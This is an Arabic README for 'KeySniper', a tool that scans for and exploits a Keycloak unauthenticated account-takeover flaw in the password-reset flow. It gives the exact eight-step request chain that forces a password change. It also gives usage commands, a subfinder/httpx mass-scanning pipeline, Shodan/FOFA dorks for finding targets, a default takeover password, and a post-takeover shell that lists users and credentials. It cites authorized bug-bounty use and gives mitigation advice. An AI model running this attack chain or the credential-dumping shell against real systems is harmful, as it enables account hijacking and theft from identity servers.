
**CVE-2026-18963** — استيلاء غير مصادق عليه على حساب Keycloak عبر تدفق إعادة تعيين بيانات الاعتماد.

المؤلف: Mitsec — x.com/ynsmroztas
CVE-2026-18963 — استيلاء غير مصادق عليه على حساب Keycloak عبر تدفق إعادة تعيين بيانات الاعتماد.
KeySniper هو ماسح ضوئي موجّه للإنتاج لبرامج مكافآت الثغرات ضمن النطاق والاختبارات المصرح بها: إخراج رادار مباشر، اكتشاف النطاقات (realms)، تمييز الاكتشاف عن الاستيلاء، قشرة تفاعلية بعد الاستيلاء، وخط أنابيب الإدخال القياسي (subfinder → httpx → KeySniper).
الوضع الافتراضي هو الاكتشاف (--takeover 0). --takeover 1 يغيّر كلمة مرور الحساب على الهدف.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-18963 |
| CWE | CWE-640 — آلية استرداد كلمة مرور ضعيفة |
| CVSS | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| المنتج | Keycloak / Red Hat SSO |
| تم الإصلاح في | 26.7.2, 26.6.6, 26.4.15 |
| المصادقة | لا شيء |
يتم ربط خطأين معًا:
tryAnotherWay يخزّن ملاحظة محدّد عامة "true" غير مرتبطة بمعرّف التنفيذ.ResetCredentialEmail.action() يستدعي context.success() دون التحقق من ACTION_TOKEN_USER_ID.النتيجة: يمكن لمتصل غير مصادق عليه فرض تدفق إعادة تعيين كلمة المرور لاسم مستخدم معروف والوصول إلى UPDATE_PASSWORD دون النقر على رابط البريد الإلكتروني.
الفحص ليس "هل توجد نسيت كلمة المرور". التأكيد هو:
execution= UUID يتغيّر (تسريب تنفيذ البريد الإلكتروني)kc-passwd-update-formexec3 = 28e2cd30-… (المحدّد الأول)
exec6 = 8fd21174-… (GET المحوري)
UPDATE_PASSWORD
[radar] مباشر (الموقع، JavaScript، الترويسات، فحص النطاق)302 Location + HTML/JS + well-known + قائمة كلمات/authhttpx / subfinder--takeover 0 اكتشاف فقط--takeover 1 تعيين كلمة مرور (الافتراضي SelaM1337@@)--shell قشرة تفاعلية للرمز / مساعد واجهة برمجة التطبيقات الإدارية بعد الاستيلاءVULN / ATO أحمر، SAFE أخضر، SKIP أصفرpython3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py
يتطلب Python 3.9+.
# اكتشاف (بدون تغيير كلمة المرور)
python3 KeySniper.py -u https://sso.example.com --takeover 0
# استيلاء + قشرة تفاعلية
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell
# نطاق / مستخدم
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0
# خط الأنابيب
subfinder -d example.com -silent \
| httpx -silent -mc 200,302,401 \
| python3 KeySniper.py --takeover 0 -t 4
# ملف قائمة
python3 KeySniper.py -l urls.txt --takeover 0 -q
لا تمرّر --takeover 1 أو --shell على تفريغ خط الأنابيب.
[1] GET /realms/{realm}/protocol/openid-connect/auth?client_id=account
→ رابط نسيت كلمة المرور (reset-credentials)
[2] GET reset-credentials
→ kc-reset-password-form
[3] POST tryAnotherWay=on
→ kc-select-credential-form
[4] POST username=<user>
[5] GET startSessionPolling / restart (إن وُجد)
[6] GET رابط reset-credentials الأصلي (محوري)
→ إعادة عرض المحدّد + execution= جديد
[7] POST محدّد قديم (بدون رمز إجراء)
→ kc-passwd-update-form
[8] POST password-new / password-confirm (فقط إذا كان --takeover 1)
→ HTTP 302 + code= ⇒ استيلاء
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
confirm exec3=...
confirm exec6=...
confirm kc-passwd-update-form
[ATO] https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak
leak-no-update لا يُحتسب كـ VULN.
تُفتح فقط بعد [ATO] على هدف واحد:
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit
تستخدم منح كلمة مرور مالك المورد (admin-cli، ثم account).
HTTP 403 على /admin/realms يعني أن منح الوصول المباشر / الدور الإداري محدود — يمكن أن يظل الاستيلاء صالحًا.
/realms/master ثم /auth/realms/masterLocation، HTML، JS، "realm":، المُصدر/realms/{name} 200 + جسم Keycloak/realms/master
/realms/master/.well-known/openid-configuration
/admin/
Shodan / FOFA (نطاق البرنامج):
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"
/ يُتجاهل ما لم يحتوي الجسم على issuer / public_key / login-actionsSKIP (إعادة التعيين معطّلة في النطاق)kc-passwd-update-form → SKIPhttpx تُقتطع إلى الأصل (/auth محفوظ)Keycloak < 26.7.2 (أيضًا 26.6.x < 26.6.6، 26.4.x < 26.4.15).
التخفيف: تعطيل نسيت كلمة المرور على كل نطاق، ثم الترقية.
لقطة الشاشة في هذا المستودع منقّحة (عنصر نائب sso.lab.local). لا تُنشر الرموز أو كلمات المرور أو رسائل البريد الإلكتروني أو المضيفات الحقيقية.
Mitsec
X: x.com/ynsmroztas
استخدام بحثي على أهداف مصرح بها ضمن النطاق. أبقِ --takeover 1 بعيدًا عن المضيفات خارج النطاق.
| الخيار | الافتراضي | المعنى |
|---|
-u URL | — | هدف واحد |
-l FILE | — | قائمة عناوين URL |
| الإدخال القياسي | تلقائي | أسطر httpx (الحقل الأول = URL) |
--takeover 0|1 | 0 | اكتشاف مقابل تغيير كلمة المرور |
-U USER | admin | اسم المستخدم المستهدف |
-r REALM | auto | فرض النطاق أو اكتشافه |
--pass | SelaM1337@@ | كلمة المرور الجديدة إذا كان takeover=1 |
-t N | 4 | خيوط خط الأنابيب |
-q | إيقاف | النتائج فقط |
--shell | إيقاف | قشرة ما بعد الاستيلاء (هدف واحد) |
| الحالة | المعنى |
|---|
VULN | محوري + UPDATE_PASSWORD (كلمة المرور لم تتغيّر) |
ATO | الخطوة 8 نجحت |
SAFE | إعادة التعيين مفتوحة، لا محدّد قديم (تم التصحيح) |
SKIP | ليس Keycloak / إعادة التعيين معطّلة / تسريب بدون نموذج UPDATE |
FAIL | خطأ شبكة / استثناء غير متوقع |